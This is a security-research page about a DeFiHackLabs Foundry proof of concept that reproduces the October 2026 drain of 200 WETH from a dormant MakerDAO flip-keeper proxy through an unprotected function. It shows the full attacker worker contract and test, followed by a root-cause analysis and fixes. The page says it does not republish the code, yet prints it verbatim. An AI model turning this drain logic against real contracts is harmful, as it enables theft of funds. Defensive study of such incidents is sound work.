Public reproduction file
src/test/2026-10/MakerDAOFlipKeeper_exp.sol
Public reproduction listed for "MakerDAO flip keeper: an unprotected function handed an attacker control of dormant auction winnings". It targets live contracts, so ThreatWire does not republish it. This page keeps the provenance and links to our non-operational analysis instead.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: MIT2pragma solidity ^0.8.20;4import "forge-std/Test.sol";6// MakerDAO ETH-A flip-keeper proxy - unprotected drain function (missing ds-auth modifier).7// ~$538K (exactly 200 WETH) drained from a dormant 2020 keeper proxy, Ethereum, Oct 2026.8//9// This is NOT a MakerDAO core bug. MakerDAO's Vat / Flipper / GemJoin behaved exactly as designed.10// The bug is entirely in a third-party liquidation keeper's upgradeable proxy implementation.11//12// Exploit tx : 0xbb6940f7c2a1e68cafbae7bb9b94d09af9af06ec3a114f6996f2cab993f3a88c (block 26131471)13// Attacker : 0x01EB957E5C7DcDDD60F3C875956cCc6fb9BdA5FA (fresh, nonce-2 EOA, Tornado-funded)14// Helper : 0xEc997d2aD033277913d6002277353368E8321dcF (attacker contract, the real tx's `to`;15// it CREATEd a worker and called the keeper - see "permissionless" note below)16// Victim : 0x9c05a05893Ada984FC20D0DA0c046De5Cc0e8273 (keeper, EIP-1967 upgradeable proxy)17// Keeper impl: 0x68399ed8aa33C5b43F863EE6782de492006A5546 (unverified; read from the proxy's18// EIP-1967 implementation slot at the fork block - matches the alert's "0x6839...5546")19//20// MakerDAO core (ETH-A, read straight off the on-chain calls/logs of the real tx):21// Vat 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B22// Flipper 0xd8a04F5412223F513DC55F839574430f5EC15531 (ETH-A flip)23// GemJoin 0x2F0b23f53734252Bda2277357e97e1517d6B042A (ETH-A, gem == WETH)24// WETH 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc225//26// ---------------------------------------------------------------------------------------------27// ROOT CAUSE (verified from the decompiled impl bytecode AND the live execution trace, not the28// alert text). The alert claimed a ds-auth check with authority == 0x0. That framing is wrong.29// The truth, read from the impl at 0x68399ed8:30//31// * The impl IS a ds-auth contract: it exposes authority() (selector 0xbf7e214f) and other32// functions (e.g. 0xcd33cd7a) genuinely gate on CALLER before doing work.33// * The drain function, selector 0x8804d1de, has NO auth modifier at all. Its dispatcher34// handler (code offset 0x02e3) does only the Solidity nonpayable CALLVALUE check, decodes35// its (address,uint256) args, and jumps straight into the body at 0x1223. The body's very36// first opcode sequence is a call to `drip()` (0x9f678cca) - there is no SLOAD of an owner37// slot and no CALLER comparison anywhere before the function does its external work. The38// owner/authority state is simply never consulted on this path. So the function is not39// "open because authority == 0"; it is ungated outright.40// * Empirical confirmation: the real tx invoked 0x8804d1de from a brand-new attacker EOA41// (via a fresh helper contract) with zero prior relationship to the 2020 keeper or its42// owner, and it executed to completion with no revert. A missing access-control check,43// exactly as the incident summary said - just not for the reason the alert gave.44//45// WHAT THE DRAIN ACTUALLY DOES (it is a caller-controlled callback, which is why it is so bad):46// drain(address worker, uint256 x):47// 1. vat = worker.vat() // trusts a getter on the caller's contract48// 2. vat.hope(worker) // the KEEPER authorizes the caller's worker49// // on its own Vat position (can[keeper][worker]=1)50// 3. worker.join(x) // hands control to the caller's worker51// An attacker supplies their own `worker`; step 2 hands that worker permission to move the52// keeper's Vat collateral, and step 3 lets it do so. The keeper's old ETH-A auctions are the53// collateral that gets swept.54//55// EXACT ON-CHAIN SEQUENCE the worker runs inside join() (confirmed from the tx trace + logs):56// a. Flipper.deal(1457), deal(1458), deal(1459), deal(1460) - settles the four ETH-A auctions57// the keeper won in 2020 and never dealt; each credits vat.gem[ETH-A][keeper] += 50 WETH.58// (Pre-attack, Flipper.bids(1457) shows guy == keeper, lot == 50e18, end == 1584285968 =59// 2020-03-15, and vat.gem[ETH-A][keeper] == 0.)60// b. vat.flux(ETH-A, keeper, worker, 200e18) - allowed by the hope() in drain step 2.61// c. GemJoin.exit(worker, 200e18) - burns the gem, sends 200 WETH to the worker.62// d. unwrap 200 WETH -> 200 ETH, forward to the attacker.63//64// Flipper.deal / Vat.flux / GemJoin.exit impose no gate that blocks a third party here:65// deal() is permissionless for a finished auction; flux() only needs vat.wish(keeper, worker),66// which drain step 2 satisfies; exit() just burns the caller's own gem balance. All three67// succeeded in the real trace called by the attacker's worker.68//69// REALIZED PROFIT: exactly 200.000000000000000000 WETH (0xad78ebc5ac6200000 wei), unwrapped to70// 200 ETH and sent to the attacker EOA. ~$538K is the rounded alert figure at the day's ETH price.71// No funding, flash loan or borrow is involved - the drain is free to call - so the PoC realizes72// the full 200 ETH with no fees to net out. The assertion targets 200 ether exactly.73//74// NOTE on "typed call, not calldata replay": 0x8804d1de belongs to an unverified contract and is75// not in any signature registry, so its human-readable name cannot be recovered and a named76// interface is impossible. The PoC therefore calls the real deployed bytecode with its known77// selector and its real argument types (address worker, uint256) recovered from the decompile -78// supplying our OWN freshly reconstructed worker as the typed argument. This is not a replay of79// the attacker's calldata blob; the drain routine and the MakerDAO calls all run against the real80// on-chain contracts.81//82// Run (self-contained, Ethereum mainnet archive fork):83// forge test --contracts ./src/test/2026-10/MakerDAOFlipKeeper_exp.sol -vvv85interface IVat {86 function gem(bytes32 ilk, address usr) external view returns (uint256);87 function flux(bytes32 ilk, address src, address dst, uint256 wad) external;88 function can(address, address) external view returns (uint256);89}91interface IFlipper {92 function deal(uint256 id) external;93}95interface IGemJoin {96 function exit(address usr, uint256 wad) external;97}99interface IWETH {100 function balanceOf(address) external view returns (uint256);101 function transfer(address, uint256) external returns (bool);102 function withdraw(uint256) external;103}105// Reconstruction of the attacker's worker contract (real worker was created at106// 0xF09A13072ed939B79bC25b66AA3a836eA6DcC170 during the exploit tx). The keeper's drain function107// calls vat(), drip() and join(uint256) on whatever address the caller passes, so the worker just108// has to expose those three entry points. The keeper hope()s this worker before calling join(),109// which is what lets flux() move the keeper's collateral into it.110contract FlipKeeperWorker {111 IVat internal constant VAT = IVat(0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B);112 IFlipper internal constant FLIP = IFlipper(0xd8a04F5412223F513DC55F839574430f5EC15531);113 IGemJoin internal constant GEMJOIN = IGemJoin(0x2F0b23f53734252Bda2277357e97e1517d6B042A);114 IWETH internal constant WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);115 bytes32 internal constant ILK = "ETH-A"; // 0x4554482d41...00117 address internal immutable keeper;118 address internal immutable recipient;119 uint256[4] internal ids;121 constructor(address _keeper, address _recipient, uint256[4] memory _ids) {122 keeper = _keeper;123 recipient = _recipient;124 ids = _ids;125 }127 // The keeper's drain reads this to discover the Vat it will hope() the worker on.128 function vat() external pure returns (address) {129 return address(VAT);130 }132 // The keeper's drain calls this; the real worker returned RAY (1e27). Mirror it exactly.133 function drip() external pure returns (uint256) {134 return 1e27;135 }137 // Invoked by the keeper AFTER it has hope()d this worker on the Vat. Settle the keeper's138 // dormant ETH-A auctions, pull the freed collateral out of the keeper's Vat position, exit139 // it as WETH, unwrap, and forward the ETH to the attacker.140 function join(uint256) external {141 for (uint256 i = 0; i < ids.length; i++) {142 FLIP.deal(ids[i]); // credits vat.gem[ETH-A][keeper] += 50 WETH each143 }144 uint256 amt = VAT.gem(ILK, keeper); // == 200e18145 VAT.flux(ILK, keeper, address(this), amt); // keeper -> worker (allowed by the keeper's hope)146 GEMJOIN.exit(address(this), amt); // gem -> 200 WETH held by this worker147 WETH.withdraw(WETH.balanceOf(address(this))); // 200 WETH -> 200 ETH148 (bool ok,) = recipient.call{value: address(this).balance}("");149 require(ok, "forward ETH failed");150 }152 receive() external payable {}153}155contract MakerDAOFlipKeeper_exp is Test {156 address internal constant KEEPER_PROXY = 0x9c05a05893Ada984FC20D0DA0c046De5Cc0e8273;157 IVat internal constant VAT = IVat(0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B);158 bytes32 internal constant ILK = "ETH-A";160 // Unprotected drain function on the keeper impl. Name is unrecoverable (unverified contract);161 // only the selector and the (address,uint256) argument types are known, from the decompile.162 bytes4 internal constant DRAIN_SELECTOR = 0x8804d1de;164 uint256 internal constant EXPLOIT_BLOCK = 26131471;166 // Public Ethereum mainnet archive used because foundry.toml's `mainnet` alias can be167 // non-archive. This endpoint serves state at the fork block.168 string internal constant ETH_ARCHIVE = "https://eth-mainnet.public.blastapi.io";170 // A fresh attacker with no relationship whatsoever to the 2020 keeper, to make the point that171 // the drain is callable by anyone.172 address internal attacker = makeAddr("attacker");174 function setUp() public {175 vm.createSelectFork(ETH_ARCHIVE, EXPLOIT_BLOCK - 1); // pre-exploit state176 }178 function testExploit() public {179 // Sanity: pre-attack the keeper holds no free ETH-A collateral in the Vat; it is all180 // still locked in the four undealt 2020 auctions.181 assertEq(VAT.gem(ILK, KEEPER_PROXY), 0, "keeper should hold no free gem pre-attack");183 uint256[4] memory ids = [uint256(1457), 1458, 1459, 1460];185 uint256 balBefore = attacker.balance;187 // Everything runs as the fresh attacker EOA (msg.sender == tx.origin == attacker), the188 // strongest form of "anyone can call this".189 vm.startPrank(attacker, attacker);191 FlipKeeperWorker worker = new FlipKeeperWorker(KEEPER_PROXY, attacker, ids);193 // The keeper must not have pre-authorized our worker.194 assertEq(VAT.can(KEEPER_PROXY, address(worker)), 0, "worker must not be pre-authorized");196 // Call the REAL keeper proxy's unprotected drain, typed args, our own worker.197 (bool ok,) = KEEPER_PROXY.call(abi.encodeWithSelector(DRAIN_SELECTOR, address(worker), uint256(0)));198 require(ok, "drain call reverted");200 vm.stopPrank();202 uint256 profit = attacker.balance - balBefore;203 emit log_named_decimal_uint("Attacker ETH profit", profit, 18);205 // The keeper did hope() our worker: proof the unprotected drain handed an arbitrary206 // caller control of the keeper's Vat position.207 assertEq(VAT.can(KEEPER_PROXY, address(worker)), 1, "drain should have hope'd the worker");209 // Exact on-chain figure: 200 WETH == 200 ETH unwrapped. assertApproxEqRel with a tiny210 // tolerance; in practice this is exact (variance 0).211 assertApproxEqRel(profit, 200 ether, 1e14, "profit should be ~200 ETH"); // 0.01%212 assertEq(profit, 200 ether, "profit should be exactly 200 ETH");213 }214}Analysis
What the file is
A Foundry test that rebuilds the 6 October 2026 drain against a fork of Ethereum taken one block before the real transaction. It is a reconstruction written by the dataset's contributors, not the attacker's own code. It is not republished here because it works against live contracts.
How it is built
Three tiny interfaces cover the only calls the flow needs (settling an auction, exiting collateral, unwrapping WETH). A stand-in contract plays the role of the adapter the attacker created: it answers the few calls the keeper makes on whatever address it is given, and does the settlement and withdrawal work when the keeper calls back. The test contract then forks the pre-exploit state, runs everything from a fresh wallet and calls the keeper's unprotected function through a typed call, because the function's real name is unknown.
What the test checks
Before: the keeper holds no free ETH-A collateral and has not delegated rights to the stand-in contract. After: the keeper has delegated rights to it, and the profit is exactly 200 ETH. The 'fresh wallet with no relationship to the keeper' setup is the point: it demonstrates that anyone could call the function.
Why it matters for defenders
The delegation check is the key assertion. A function that grants rights over its own account to an arbitrary address is an authority transfer, and the file shows the whole chain of consequences from one missing check. Fixing the check, revoking rights after use and settling won auctions each break the chain at a different point.
How it relates to our record
Every figure and address here is checked in the incident record against a public node. The file's own header describes the cause differently from some alerts (no check at all, rather than an unset authority). The incident page lists that disagreement.
Our analysis, loss and remediation are in the incident record.
Components and what they do
- Keeper proxy forwarding to the implementation function 0x8804d1de
- Vat.hope and Vat.can (rights over the keeper's account)
- Flipper.deal for auctions 1457 to 1460
- Vat.flux and GemJoin.exit (collateral exit)
- WETH unwrap and payout
Fixes and defensive tests
- Gate the function behind the same ds-auth check as the other privileged functions.
- Revoke Vat rights with nope after use.
- Settle or sweep won auctions and retire dormant keepers.
- Add a test that every external function either checks authority or is documented as permissionless.
Contracts and transactions from the incident
- 0x01EB957E…BdA5FA Attacker wallet (externally owned)
- 0xEc997d2a…321dcF Attack helper contract
- 0xf09a1307…DCC170 Adapter contract holding rights over the keeper's Vat account
- 0x9c05a058…0e8273 Dormant ETH-A keeper (EIP-1967 proxy), affected
- 0x68399ed8…6A5546 Keeper implementation (source reported unverified)
- 0xd8a04F54…C15531 MakerDAO ETH-A Flipper (retired auction house)
- 0x35D1b3F3…A0492B MakerDAO Vat (core accounting)
- 0x2F0b23f5…6B042A MakerDAO ETH-A GemJoin (collateral exit)
- 0xC02aaA39…756Cc2 Wrapped Ether (WETH)
- 0xd90e2f92…24F31b Mixer router that received the proceeds
- 0xaDC374E7…DaF073 Keeper owner and 2020 operator
- 0xbb6940f7…f3a88c exploit
- 0x4a587af4…ad1167 attack setup (helper deployment)
- 0xd4c0b18a…048ac6 attacker funding
- 0xb8ecff9c…ebefeb proceeds (first mixer deposit)
Related files
12 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- Guarded delegation pattern (illustrative)Same incident · 37 lines
- src/test/2026-10/BitBay_exp.solSame month in the dataset · 200 lines
- src/test/2026-10/CrowdRingCircle_exp.solSame month in the dataset · 143 lines
- src/test/2026-10/FlashLoopAdapter_exp.solSame month in the dataset · 345 lines
- src/test/2026-10/GoldPesa_exp.solSame month in the dataset · 288 lines
- src/test/2026-10/KolanHook_exp.solSame month in the dataset · 261 lines
- src/test/2026-10/MALT_exp.solSame month in the dataset · 194 lines
- src/test/2026-10/MOKE_exp.solSame month in the dataset · 142 lines
- src/test/2026-10/PerpetualProtocol_exp.solSame month in the dataset · 165 lines
- src/test/2026-10/SetProtocolETHMACOAPY_exp.solSame month in the dataset · 211 lines
- src/test/2026-10/UNCXSmartTokenVesting_exp.solSame month in the dataset · 378 lines
- src/test/2026-10/X7Finance_exp.solSame month in the dataset · 160 lines
Also imports external libraries: forge-std/Test.sol.
File record
- Name
- MakerDAOFlipKeeper_exp.sol
- Path
- src/test/2026-10/MakerDAOFlipKeeper_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 5be9555d8ad18f75d2935d6778c63357a196efa7
- Language
- Solidity
- Size
- 215 lines
- Date
- 2026-10-06
- Licence
- file header MIT; repository Apache-2.0
- Retrieved
- 2026-10-19
- Incident
- MakerDAO flip keeper: an unprotected function handed an attacker control of dormant auction winnings
- Protocols
- Third-party ETH-A flip keeper, MakerDAO (now Sky)
- Chains
- Ethereum
Provenance
Path src/test/2026-10/MakerDAOFlipKeeper_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 5be9555d8ad18f75d2935d6778c63357a196efa7, retrieved 2026-10-19. Verbatim file content read with git show at the pinned commit; SPDX header preserved; stored locally for the on-site reader. ThreatWire has never executed this file. Reference: source file at the pinned commit.